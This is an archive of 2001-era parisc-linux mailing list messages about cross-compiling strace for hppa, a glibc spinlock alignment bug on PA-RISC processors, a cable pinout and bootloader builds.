Original-Received: from dns2.dot.at (212.9.128.3)
  by mailserv2.iuinc.com with SMTP; 22 Jan 2001 21:46:29 -0000
Original-Received: from dot.at (IDENT:plattner@dot-tc01-026.dot.at [212.9.128.66])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id WAA20087;
	Mon, 22 Jan 2001 22:54:01 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9327

Again:  The configure script cannot find `config.h.in'
Is this missed in the CVS version of this day ?
	
	Christoph


Christoph Plattner wrote:
> 
> Hallo Mr Hirst !
> 
> Now I have following problem. What is the clean
> way to build such autoconfigured tool cross ?
> 
> Is it via `--target=hppa-linux', but here it will build for i386 !
> Or is it `--host=hppa-linux --build=i386-linux' ???
> 
> Or have I to define a CC=/usr/parisc/bin/hppa-linux-gcc ?
> 
> Must I use CC= also on configure and make or only on make
> or configure.....
> 
> ... etc....
> 
> How to do this in the correct way ?
> 
> Thanks
> 
>         Christoph
> 
> Richard Hirst wrote:
> >
> > On Mon, Jan 22, 2001 at 09:01:15PM +0100, Christoph Plattner wrote:
> > > I often use strace to analyse the problems I have with
> > > applications. Espacially I had success in analysing problems
> >
> > strace source is in cvs on puffin.external.hp.com, but you need to
> > check it out and build it yourself at the moment.
> >
> > Richard
> >
> > ---------------------------------------------------------------------------
> > To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> > `unsubscribe' as the subject.
> 
> --
> -------------------------------------------------------------------------
> private:        christoph.plattner@dot.at
> company:        christoph.plattner@alcatel.at

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:15:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: tar hangs on 715/75 (spinlock problem)
Date: Mon, 22 Jan 2001 22:17:04 +0000
Lines: 20
Approved: news@gmane.org
Message-ID: <20010122221704.R3571@linuxcare.com>
References: <20010122165014.O3571@linuxcare.com> <20010122213219.Q3571@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619573 11088 80.91.229.3 (22 Nov 2014 01:26:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:13 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Mon Jan 22 15:23:00 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA18453
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Jan 2001 15:23:00 -0700
Original-Received: (qmail 3623 invoked by uid 15267); 22 Jan 2001 22:26:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3470 invoked from network); 22 Jan 2001 22:26:44 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 22 Jan 2001 22:26:44 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 9FFFFB005; Mon, 22 Jan 2001 22:17:04 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010122213219.Q3571@linuxcare.com>; from rhirst@linuxcare.com on Mon, Jan 22, 2001 at 09:32:19PM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:9328

On Mon, Jan 22, 2001 at 09:32:19PM +0000, Richard Hirst wrote:
> On Mon, Jan 22, 2001 at 04:50:14PM +0000, Richard Hirst wrote:
> > Hi,
> >   tar (and nscd) hang on my 715/75.  Same binaries/libraries work on
> > the B180.  The hang is in __pthread_acquire() called from
> 
> This is because ldcw behaves differently on the 715/75 and the B180.

Grant tells me spinlock words have to be the first word of a cacheline,
so that would be why my example code broke.  However, libpthreads uses
spinlocks and doesn't appear to force any alignment.

I think the libpthreads spinlock definitions come from
glibc/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h, struct
pthread_mutex_t, spinlock is inside __m_lock.  No alignment is
specified.  When debugging tar, I found the spinlock word at
0x4014df4c.

Richard


From - Thu Nov 08 21:15:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Pinout for 712 AUI/RS232 Y-cable
Date: Mon, 22 Jan 2001 15:41:52 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <20010122224152.13E5038379@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619573 11092 80.91.229.3 (22 Nov 2014 01:26:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:13 +0000 (UTC)
Cc: taggart@carmen.fc.hp.com
To: parisc-linux@thepuffingroup.com
Original-X-From: taggart@carmen.fc.hp.com  Mon Jan 22 15:36:06 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA18829
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Jan 2001 15:36:05 -0700
Original-Received: (qmail 23399 invoked by uid 15267); 22 Jan 2001 22:39:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23369 invoked from network); 22 Jan 2001 22:39:55 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 22 Jan 2001 22:39:55 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP id EFB7B844
	for <parisc-linux@thepuffingroup.com>; Mon, 22 Jan 2001 17:39:54 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 13E5038379; Mon, 22 Jan 2001 15:41:52 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:9329


Pinout for RS232/AUI cable(A2263-62045) for 712 card (A2263-66536)
------------------------------------------------------------------
There is a card for the 712(HP part #A2263-66536) that provides 2nd AUI lan
and 2nd DB9 RS232 port. The back of the card has a 26 pin connector and the
15pin AUI and 9pin RS232 connectors are provided by a special Y cable
(A2263-62045) which are pretty hard to find. Here is the pinout of this cable
in case you need to make one.

These diagrams are looking at the end of the connector not the back. Make
sure to take that into account if building a cable. Pin numbering is taken
from the numbers on the plastic in the cable. If a pin is not connected it
is represented as an "o". The numbers outside the bottom connectors are the
pin numbers that that pin is connected to on the top connector.


                 ---------------------------------
                 \     o  o  3  o  o  o  7  8  9 /
                  \  10 11 12 13  o  o 16 17 18 /
                   \  19 20 21 22  o 24 25 26  /
                     -------------------------

               12 13    20 19                 18  9  8  7  24
       ---------------------------           -----------------
  AUI   \ o  o  6  5  o  3  2  o /           \ 1  2  3  4  5 / RS232
         \  o 10 11 12  o 14 15 /             \  6  7  8  9 /
          ---------------------                ------------
              22 21  3    11 10                 26 25 17 16


Send questions or problems to Matt Taggart <taggart@fc.hp.com>



From - Thu Nov 08 21:15:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Further (build ?): [parisc-linux] strace ??? - is there any ???
Date: Mon, 22 Jan 2001 22:32:31 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <20010122223231.T3571@linuxcare.com>
References: <200101221502.f0MF2kO05633@openbsd1.buttafuoco.net> <20010122151515.N3571@linuxcare.com> <3A6C7686.1FC5F754@dot.at> <3A6C918B.A6287A24@dot.at> <20010122201517.P3571@linuxcare.com> <3A6CA970.7F8F82DF@dot.at> <3A6CAA2F.16CB69AB@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619573 11095 80.91.229.3 (22 Nov 2014 01:26:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:13 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Christoph Plattner <christoph.plattner@dot.at>
Original-X-From: rhirst@linuxcare.com  Mon Jan 22 15:38:26 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA18959
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Jan 2001 15:38:25 -0700
Original-Received: (qmail 27207 invoked by uid 15267); 22 Jan 2001 22:42:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27176 invoked from network); 22 Jan 2001 22:42:13 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 22 Jan 2001 22:42:13 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 5774CB005; Mon, 22 Jan 2001 22:32:32 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <3A6CAA2F.16CB69AB@dot.at>; from christoph.plattner@dot.at on Mon, Jan 22, 2001 at 10:46:23PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:9330

On Mon, Jan 22, 2001 at 10:46:23PM +0100, Christoph Plattner wrote:
> Again:  The configure script cannot find `config.h.in'
> Is this missed in the CVS version of this day ?

autoheader will generate that for you.

I normally build strace natively on my B180, will try and recall how
to cross-compile.

Richard


From - Thu Nov 08 21:15:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Further (build ?): [parisc-linux] strace ??? - is there any ???
Date: Mon, 22 Jan 2001 22:45:03 +0000
Lines: 40
Approved: news@gmane.org
Message-ID: <20010122224503.U3571@linuxcare.com>
References: <200101221502.f0MF2kO05633@openbsd1.buttafuoco.net> <20010122151515.N3571@linuxcare.com> <3A6C7686.1FC5F754@dot.at> <3A6C918B.A6287A24@dot.at> <20010122201517.P3571@linuxcare.com> <3A6CA970.7F8F82DF@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619574 11097 80.91.229.3 (22 Nov 2014 01:26:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:14 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Christoph Plattner <christoph.plattner@dot.at>
Original-X-From: rhirst@linuxcare.com  Mon Jan 22 15:50:54 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA19614
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Jan 2001 15:50:54 -0700
Original-Received: (qmail 14325 invoked by uid 15267); 22 Jan 2001 22:54:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14301 invoked from network); 22 Jan 2001 22:54:44 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 22 Jan 2001 22:54:44 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 0118EB005; Mon, 22 Jan 2001 22:45:03 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <3A6CA970.7F8F82DF@dot.at>; from christoph.plattner@dot.at on Mon, Jan 22, 2001 at 10:43:12PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:9331

On Mon, Jan 22, 2001 at 10:43:12PM +0100, Christoph Plattner wrote:
> Hallo Mr Hirst !
> 
> Now I have following problem. What is the clean
> way to build such autoconfigured tool cross ?

HOSTCC=gcc CC=hppa-linux-gcc ./configure --target=hppa-linux --host=hppa-linux
make


worked for me, except for a problem with redefinition of struct dirent64.
I hacked that out of /opt/palinux/hppa-linux/include/linux/dirent.h to
temporarily get round it.

I havn't checked the binary works.  You might have to remove a chunk
of code from strace/defs.h, depending on how new your glibc is.  With
a new glibc you need to remove the following block:

  /* Hack until I figure out why we don't call ptrace in glibc, rather
   * than the system call direct.
   */
  static inline long raw_ptrace(int req, pid_t pid, void *addr, long data)
  {
          long res, ret;
  
          if (req > 0 && req < 4)
                  data = (long)&ret;
          res = ptrace(req, pid, addr, data);
          if (res >= 0 && req > 0 && req < 4) {
                  errno = 0;
                  return ret;
          }
          return res;
  }
  
  #define ptrace raw_ptrace


Richard


From - Thu Nov 08 21:15:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christopher Beard <cjbeard@istar.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Building the Bootloader
Date: Tue, 1 Jun 1999 11:58:57 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9906011146400.24972-100000@centauri.osfi-bsif.gc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619574 11101 80.91.229.3 (22 Nov 2014 01:26:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:14 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: cjbeard@istar.ca  Tue Jun  1 09:59:11 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA09216
	for <parisc-linux@puffin.external.hp.com>; Tue, 1 Jun 1999 09:59:09 -0600
Original-Received: (qmail 23083 invoked by uid 15267); 1 Jun 1999 15:58:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23076 invoked from network); 1 Jun 1999 15:58:23 -0000
Original-Received: from mail1.toronto.istar.net (209.89.75.17)
  by mailserv2.iuinc.com with SMTP; 1 Jun 1999 15:58:23 -0000
Original-Received: from vorlon.osfi-bsif.gc.ca ([198.103.137.200] helo=centauri.osfi-bsif.gc.ca)
	by mail1.toronto.istar.net with esmtp (Exim 2.02 #1)
	id 10oqwP-0006ni-00
	for parisc-linux@thepuffingroup.com; Tue, 1 Jun 1999 11:59:02 -0400
X-Sender: cjbeard@centauri.osfi-bsif.gc.ca
Xref: news.gmane.org gmane.linux.ports.parisc:9332


> Hm.  Okay then.  So what we need to do is fix the cross compiling of
> mkipl.  I'll have a look at this.
          
There is some confusion here. The IPL does not have to be SOM, in fact, it
wouldn't work correctly if it was. It's a raw binary format created using
HP's linker by passing parameters to give it a zero offset, etc. (And
which Jason Eckardt suggests could also be extracted from a valid ELF
format binary given the right script.)

The confusion exists as currently, it can only be produced under HP/UX as
there are still some issues with the xcompiler/binutils under x86 for the
PA-RISC target. 

I haven't looked at this very closely, but when I attempted to generate a
raw binary of the bootloader code with the xcompiler/binutils it either
segfaulted or generated a 4 GB sparse file. There was a double free within
binutils which was fixed, and some minor version mismatches, but still, it
does not generate a working binary.

Before even trying to compile the kernel and getting it booting with the
current xcompiler/binutils, building a working IPL with the xcompiler
environment should be done.  This will tell us that yes in fact it is
doing the Right Thing and it will be far easier to debug. 

Chris



From - Thu Nov 08 21:15:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: tar hangs on 715/75 (spinlock problem)
Date: Mon, 22 Jan 2001 16:17:29 -0800
Lines: 56
Approved: news@gmane.org
Message-ID: <200101230017.QAA19389@milano.cup.hp.com>
References: <20010122221704.R3571@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619574 11102 80.91.229.3 (22 Nov 2014 01:26:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:14 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: grundler@cup.hp.com  Mon Jan 22 17:11:49 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA20411
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Jan 2001 17:11:48 -0700
Original-Received: (qmail 28569 invoked by uid 15267); 23 Jan 2001 00:15:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28562 invoked from network); 23 Jan 2001 00:15:39 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 23 Jan 2001 00:15:39 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 7221F330; Mon, 22 Jan 2001 16:15:31 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id QAA19389;
	Mon, 22 Jan 2001 16:17:33 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 22 Jan 2001 22:17:04 PST."
             <20010122221704.R3571@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9333

Richard Hirst wrote:
> On Mon, Jan 22, 2001 at 09:32:19PM +0000, Richard Hirst wrote:
> > On Mon, Jan 22, 2001 at 04:50:14PM +0000, Richard Hirst wrote:
> > > Hi,
> > >   tar (and nscd) hang on my 715/75.  Same binaries/libraries work on
> > > the B180.  The hang is in __pthread_acquire() called from
> > 
> > This is because ldcw behaves differently on the 715/75 and the B180.
> 
> Grant tells me spinlock words have to be the first word of a cacheline,

16-byte aligned.

> so that would be why my example code broke.  However, libpthreads uses
> spinlocks and doesn't appear to force any alignment.

Yeah - this is definitely broken. taggart and jsm are going to play
with the alignments. jsm couldn't say for sure off-hand which processors
don't really care about the alignment. But we agreed it doesn't matter
since the architecture requires it and some of the processor models do
care.

> 
> I think the libpthreads spinlock definitions come from
> glibc/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h, struct
> pthread_mutex_t, spinlock is inside __m_lock.  No alignment is
> specified.  When debugging tar, I found the spinlock word at
> 0x4014df4c.

I spoke with Scott Norton (http://www.hp.com/hpbooks/authors/norton.html)
and he made it clear the POSIX spec defines pthread_mutex_t to be an
"opaque" type - ie it's arch specific.  _pthread_fastlock and
pthread_spinlock_t types must be aligned to correctly work under parisc
and Scott made it clear these are not POSIX data types.
Perhaps UNIX98 or some other standard.

What's baffled me is did this ever work under HPUX?

HP published a CD with a bunch of GNU/open source tools for HPUX 11.
The glibc version shipped was 1.2.6. Only has references to pthread_mutex_t
and none for "spinlock".

So HPUX only supports the pthread_mutex_t and not pthread_spinlock_t.
The HPUX kernel support for pthread_mutex_t seems to be __pthread_spinlock_t.
__pthread_spinlock_t contains an array where the init sequence figures
out where the 16byte alignment falls in the array and uses that offset.
I don't want to endorse that as *the* strategy to use since the linux
kernel obviously uses compiler built-ins to get's it's alignments right.

thanks,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:15:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: tar hangs on 715/75 (spinlock problem)
Date: Mon, 22 Jan 2001 17:41:23 -0700 (MST)
Lines: 48
Approved: news@gmane.org
Message-ID: <200101230041.RAA13664@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619575 11104 80.91.229.3 (22 Nov 2014 01:26:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:15 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: jsm@udlkern.fc.hp.com  Mon Jan 22 17:38:44 2001
Original-Received: from cosrel2.hp.com (cosrel2.hp.com [156.153.255.162])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id RAA20866
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Jan 2001 17:38:44 -0700
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by cosrel2.hp.com (Postfix) with ESMTP id 932D32BB
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Jan 2001 17:42:27 -0700 (MST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id RAA13664 for parisc-linux@puffin.external.hp.com; Mon, 22 Jan 2001 17:41:23 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:9334

> On Mon, Jan 22, 2001 at 04:50:14PM +0000, Richard Hirst wrote:
>
> This is because ldcw behaves differently on the 715/75 and the B180.
>
> Grant tells me spinlock words have to be the first word of a cacheline,

Both the PARISC 1.1 and PARISC 2.0 architecture specifications require
that ldcw and ldcd targets be 16 byte aligned. What actually happens
when the target is not 16 byte aligned is unspecified. I believe that
on PCXT' processors you get an unaligned fault. I think ldcw works
on 4 byte boundaries on PCXL2, PCXU and PCXW, but I am not certain of
that. As you can already see, it does not work on other processors like
PCXS, PCXT and PCXL, and the behaviour may be different on each one.

> so that would be why my example code broke.  However, libpthreads uses
> spinlocks and doesn't appear to force any alignment.
>
> I think the libpthreads spinlock definitions come from
> glibc/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h, struct
> pthread_mutex_t, spinlock is inside __m_lock.  No alignment is
> specified.  When debugging tar, I found the spinlock word at
> 0x4014df4c.

I brought this whole issue up a month ago (See "ldcw in __pthread_acquire"
in the December archive of the parisc-linux mailing list). Matthew Wilcox
suggested adding a 16 byte aligned attribute to fix the problem. Then
a long discussion ensued, discussing the advantages and disadvantages
of doing spinlocks in user space. I think the general consensus was
that we should eventually do an implementation that spins for a while
in user space and then goes to the kernel for arbitration.

So, the long term correct solution should be put on the todo list. But,
for now, Matt Taggart is going to create a hppa specific version of
pthreadtypes.h and make the following changes:

    1) move the __spinlock field in the _pthread_fastlock definition
    to be the first field in the structure.
    2) Add an __attribute__((aligned(16))) to that structure.
    3) Add an __attribute__((aligned(16))) to the pthread_spinlock_t
       type definition.

He'll test this on a C110 to see if the unaligned fault goes away, and
if it does he will check it in. This should also fix the problems with
the same root cause on other processors.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:15:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: tar hangs on 715/75 (spinlock problem)
Date: 22 Jan 2001 16:38:07 -0800
Lines: 36
Approved: news@gmane.org
Message-ID: <m34ryrgl1s.fsf@otr.mynet.cygnus.com>
References: <200101230017.QAA19389@milano.cup.hp.com>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619575 11106 80.91.229.3 (22 Nov 2014 01:26:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:15 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: drepper@redhat.com  Mon Jan 22 17:44:08 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA21231
	for <parisc-linux@puffin.external.hp.com>; Mon, 22 Jan 2001 17:44:08 -0700
Original-Received: (qmail 7995 invoked by uid 15267); 23 Jan 2001 00:47:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7967 invoked from network); 23 Jan 2001 00:47:59 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 23 Jan 2001 00:47:59 -0000
Original-Received: from otr.mynet (dialin-sv-02.cygnus.com [205.180.231.52])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id QAA27424;
	Mon, 22 Jan 2001 16:37:40 -0800 (PST)
Original-Received: by otr.mynet (Postfix, from userid 500)
	id AE18C30BC; Mon, 22 Jan 2001 16:38:07 -0800 (PST)
Original-Sender: drepper@cygnus.com
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
In-Reply-To: Grant Grundler's message of "Mon, 22 Jan 2001 16:17:29 -0800"
Original-Lines: 35
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Capitol Reef)
Xref: news.gmane.org gmane.linux.ports.parisc:9335

Grant Grundler <grundler@cup.hp.com> writes:

> > I think the libpthreads spinlock definitions come from
> > glibc/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h, struct
> > pthread_mutex_t, spinlock is inside __m_lock.  No alignment is
> > specified.  When debugging tar, I found the spinlock word at
> > 0x4014df4c.

Then add appropriate alignment.  What's the problem?  We just don't
have to do it for any architecture.

> I spoke with Scott Norton (http://www.hp.com/hpbooks/authors/norton.html)
> and he made it clear the POSIX spec defines pthread_mutex_t to be an
> "opaque" type - ie it's arch specific.  _pthread_fastlock and
> pthread_spinlock_t types must be aligned to correctly work under parisc
> and Scott made it clear these are not POSIX data types.
> Perhaps UNIX98 or some other standard.

The leading underscore should tell you that this is an internal,
private type.

> What's baffled me is did this ever work under HPUX?
> 
> HP published a CD with a bunch of GNU/open source tools for HPUX 11.
> The glibc version shipped was 1.2.6. Only has references to pthread_mutex_t
> and none for "spinlock".

Glibc has no support for HPUX.  I know some people inside HP worked on
it but none of this code is available.  Besides, I doubt that the
LinuxThreads add-on is used on HPUX.

-- 
---------------.                          ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Red Hat          `--' drepper at redhat.com   `------------------------


From - Thu Nov 08 21:15:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc64 kernel and ret1 (gr29) setup
Date: Tue, 23 Jan 2001 13:45:45 +0000
Lines: 131
Approved: news@gmane.org
Message-ID: <20010123134545.W3571@linuxcare.com>
References: <20001221160006.W2554@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619575 11109 80.91.229.3 (22 Nov 2014 01:26:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:15 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Tue Jan 23 06:51:42 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA26934
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 Jan 2001 06:51:41 -0700
Original-Received: (qmail 7110 invoked by uid 15267); 23 Jan 2001 13:55:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7099 invoked from network); 23 Jan 2001 13:55:34 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 23 Jan 2001 13:55:34 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id C4BF3B005; Tue, 23 Jan 2001 13:45:45 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20001221160006.W2554@linuxcare.com>; from rhirst@linuxcare.com on Thu, Dec 21, 2000 at 04:00:06PM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:9336

